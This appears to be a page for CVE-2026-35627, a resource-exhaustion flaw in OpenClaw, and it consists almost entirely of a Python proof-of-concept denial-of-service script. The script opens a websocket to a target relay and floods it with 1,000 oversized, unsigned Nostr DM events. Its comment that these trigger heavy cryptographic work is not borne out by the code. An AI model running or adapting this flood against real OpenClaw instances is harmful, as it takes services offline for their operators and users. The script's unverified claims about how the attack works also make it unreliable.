CVE-2026-35627 OpenClaw资源耗尽漏洞

import asyncio import websockets import json # PoC for CVE-2026-35627: OpenClaw Unauthenticated DoS # This script simulates sending malicious Nostr DMs to trigger resource exhaustion. async def send_malicious_dm(uri): async with websockets.connect(uri) as websocket: # Construct a malicious Nostr event (Kind 4 is DM) # The content is crafted to trigger heavy cryptographic operations malicious_event = { "kind": 4, "content": "A" * 10000, # Large payload to increase processing load "tags": [["p", "target_public_key_placeholder"]], "created_at": 1234567890, "pubkey": "attacker_public_key_placeholder" } # Simulate sending the event rapidly try: for _ in range(1000): message = json.dumps(["EVENT", malicious_event]) await websocket.send(message) print("Sent malicious payload") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_relay = "ws://target-openclaw-instance:port" asyncio.get_event_loop().run_until_complete(send_malicious_dm(target_relay))